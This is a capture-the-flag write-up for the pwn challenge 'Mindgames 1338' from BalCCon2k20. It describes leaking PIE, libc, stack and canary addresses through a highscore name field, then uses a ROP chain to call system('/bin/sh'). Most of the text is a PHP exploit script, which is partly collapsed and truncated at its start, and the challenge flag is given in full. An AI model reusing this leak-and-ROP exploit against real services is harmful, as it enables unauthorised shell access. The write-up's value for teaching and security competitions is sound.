# Mindgames 1338 - BalCCon2k20 CTF (pwn, 470, 8 solved)## Introduction
Mindgames 1338 is a pwn task. This is the third and last challenge of theMindgames serie (Mindgames 1336, 1337, 1338). This challenge has PIE and stackcanaries.
A Linux ELF file is provided. It is a guessing game. The highest score belongsto a randomly generated Star Wars character, but can be replaced by the user'sname.
## Reverse engineering
The reverse engineering has been explained in Mindgames 1336's and Mindgames1337's writeups.
## Exploitation
The exploitation here is slightly more complicated due to the presence of stackcanaries : not only is it required to leak the binary's base address, but it isalso required to leak the stack canary to overwrite it.
The canary is stored on the stack. A pointer to the stack can be found in thelibc (`environ`, which points to the program's environment variables).
The exploitation becomes:1. leak PIE by overwriting last byte of `player`2. leak libc by pointing `player` to `__libc_start_main`3. leak stack by pointing `player` to libc's `environ` pointer4. leak canary by pointing `player` to `environ - 0x110`5. ROP to call `system("/bin/sh")`
**Flag**: `BCTF{0h_no!_N0w_y0u_killed_my_canary!_Your_mind_really_is_a_weapon!}`
## Appendices### pwn.php```php#!/usr/bin/phpexpectLine("What do you want to do?");	$t->expectLine(" 1) Show Highscore");	$t->expectLine(" 2) Play the game");	$t->expectLine(" 3) Exit");	$t->expect("> ");}
function hs(Tube $t){	menu($t);	$t->write("1\n");
	$t->expectLine("Current highscore:");	$line = $t->readLine();
	list($score, , $player) = explode("\t", $line, 3);	$score |= 0;	$player = substr($player, 1);
	return [$score, $player];}
function play(Tube $t, $name, $count = 0){	global $ffi;
	menu($t);	$t->write("2\n");
	$t->expectLine("Can you guess my numbers?");	$t->expect("> ");
	for($i = 0; $i < $count; $i++) {		$guess = $ffi->rand();		$t->write("$guess\n");	}
	for($i = 0; $i < $count; $i++) {		$t->expectLine("You were lucky this time!");		$t->expect(">");	}
	$t->write("-1\n");	$t->expectLine("Game over!");	$t->expectLine("New Highscore! Amazing!");
	$t->expect("Give me your name: ");	$t->write($name);}
printf("[*] Creating process\n");$time = microtime(true);
$t = new Socket(HOST, PORT);$date = strftime("%Y-%m-%d %H:%M:%S"); // it's okay because we use NTP ;-)$t->expectLine("Hello there! It's $date and the weather looks pretty nice!");
//$t->expect("Hello there! It's ");//$date = $t->read(strlen("2020-09-25 21:26:35"));//$t->expectLine(" and the weather looks pretty nice!");$t->expectLine("");$t->expectLine("");$t->expectLine("We should play a game of the mind!");$t->expect("> ");
$ffi = FFI::load("rand.h");
printf("[+] Done in %f seconds\n", microtime(true) - $time);printf("\n");
$time = strtotime($date);$ffi->srand($time);$ffi->rand(); // player$score = $ffi->rand(); // score
printf("[*] Leak addresses\n");
/* Leak */$payload  = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= "\xe8";
play($t, $payload, 32);$hs   = hs($t);$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");$base = unpack("Q", $addr)[1] - 0x40e8;
printf("[+] base: %X\n", $base);
$payload  = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= pack("Q", $base + LSM);
play($t, $payload);$hs   = hs($t);$addr = str_pad(substr($hs[1], 0, 8), 8, "\x00");$addr = unpack("Q", $addr)[1];$libc  = $addr & ~0xFFF;$libc -= 0x23000;
printf("[+] libc: %X\n", $libc);
$payload  = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= pack("Q", $libc + ENVIRON);
play($t, $payload);$hs    = hs($t);$addr  = str_pad(substr($hs[1], 0, 8), 8, "\x00");$stack = unpack("Q", $addr)[1];
printf("[+] stack: %X\n", $stack);
$payload  = str_pad("XeR", 0x20, "\x00");$payload .= pack("Q", 0); // faster$payload .= pack("Q", $stack - 0x110 + 1);
play($t, $payload);$hs     = hs($t);$leak   = "\x00" . substr($hs[1], 0, 7);$canary = unpack("Q", $leak)[1];assert(8 === strlen($leak));
printf("[+] canary: %X\n", $canary);printf("\n");
/* actual pwn */$payload  = str_repeat("x", 0x108);$payload .= pack("Q", $canary); // canary
$payload .= pack("Q", 0xdeadbeef); // rbp$payload .= pack("Q*",	$libc + POPRDI, $libc + BINSH,	$base + PUTS,
	$libc + POPRDI, $libc + BINSH,	$libc + SYSTEM,
	-1); // rip
play($t, $payload);
printf("[!] shell\n");$t->pipe();```